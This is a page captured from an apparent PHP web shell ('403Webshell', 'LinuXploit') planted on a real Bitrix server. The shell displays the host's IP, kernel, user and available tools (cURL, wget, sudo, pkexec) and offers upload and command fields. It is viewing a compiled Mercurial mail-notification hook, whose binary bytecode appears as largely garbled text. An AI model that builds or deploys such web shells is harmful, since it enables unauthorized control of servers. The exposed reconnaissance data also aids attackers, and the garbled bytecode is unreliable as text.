403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/changeset_published.cpython-39.pyc
a

�+�b��@s�dZddlmZddlmZddlmZddl	m
Z
ddlmZm
Z
mZmZmZmZmZddlmZddlmZiZe�e�Zed	d
dd�ed	ddd�ed	d
dd�dd�Zddd�ZdS)awchangeset_published is a hook to send a mail when an
existing draft changeset is moved to the public phase.

Correct message threading requires the same messageidseed to be used for both
the original notification and the new mail.

Usage:
  [notify]
  messageidseed = myseed

  [hooks]
  txnclose-phase.changeset_published =     python:hgext.hooklib.changeset_published.hook
�)�absolute_importN)�_)�encoding�error�	formatter�
logcmdutil�mail�pycompat�	registrar)�dateutil�)�notify�notify_published�domain)�default�
messageidseed�templatesASubject: changeset published

This changeset has been published.
c
Csn|�dd�p|�dd�}|�dd�p.|�dd�}|�dd�}t�|�}t�|||�}|��t�||d�}t�}	|j	D]B\}
}|dur�|	�
|
�qv|�d||���}t
|�rv|	�
|
�qvqvt
|	�dkr�|�d	�dS|j||��|�d
d�|j|jd�|��}zt�|�}
Wn2tj�y@}zt�|��WYd}~n
d}~00t�|||�|
d
<t�|||d�|
d<t�tjdd��|
d<|
d�s�|�dd��p�|��}d|v�s�d|v�r�|�|�}t� |||j!|j"�|
d<d�#t$|	��|
d<t%j&�r�|
�'�n|
�(�}|�)dd��r0|�*|�|�+d��sj|�*d�n:|�,t-d�|���tj.|t/�0|
d�d|	||j1d�dS)Nrrsnotifyrrsincomings
%r and %d:rs=notify_published: no subscribers to selected repo and revset
swebsbaseurl)ZchangesZbaseurl�rootZwebrootzIn-reply-tos
-publishedz
Message-Ids%a, %d %b %Y %H:%M:%S %1%2)�formatZDateZFromsemailsfrom�@s
@localhostz, ZTostest�
s&notify_published: sending mail for %d
�)�mbox)2ZconfigrZliteral_templatespecrZchangesettemplaterZ
pushbufferr
Znotifier�set�subs�add�revsZrev�len�debugZshowZ	changesetrZ	popbufferrZ
parsebytes�emailerrorsZMessageParseErrorr�AbortZ	messageidrZstrfromlocalrZdatestr�usernameZfixmailZ
addressencodeZcharsets�test�join�sortedr	Zispy3Zas_bytesZ	as_stringZ
configbool�write�endswith�statusrZsendmail�
emailutilsZ	parseaddrr)�ui�repo�ctx�domainZ
messageidseed�template�specZ	templater�nr�subr�data�msg�instZsenderZmsgtext�r4�G/usr/lib64/python3.9/site-packages/hgext/hooklib/changeset_published.py�_report_commit=sz��
�


�
� 
�
�


�r6cKsT|dkr t�td�t�|���|��|}|ddkrP|ddkrPt|||�dS)Nstxnclose-phasesUnsupported hook type %rZoldphasesdraftZphasespublic)rr rr	ZbytestrZ
unfilteredr6)r)r*ZhooktypeZnode�kwargsr+r4r4r5�hook�s�r8)N)�__doc__Z
__future__rZemail.errors�errorsrZemail.utilsZutilsr(Zmercurial.i18nrZ	mercurialrrrrrr	r
Zmercurial.utilsr�r
ZconfigtableZ
configitemr6r8r4r4r4r5�<module>s4$	
���
D

Youez - 2016 - github.com/yon3zu
LinuXploit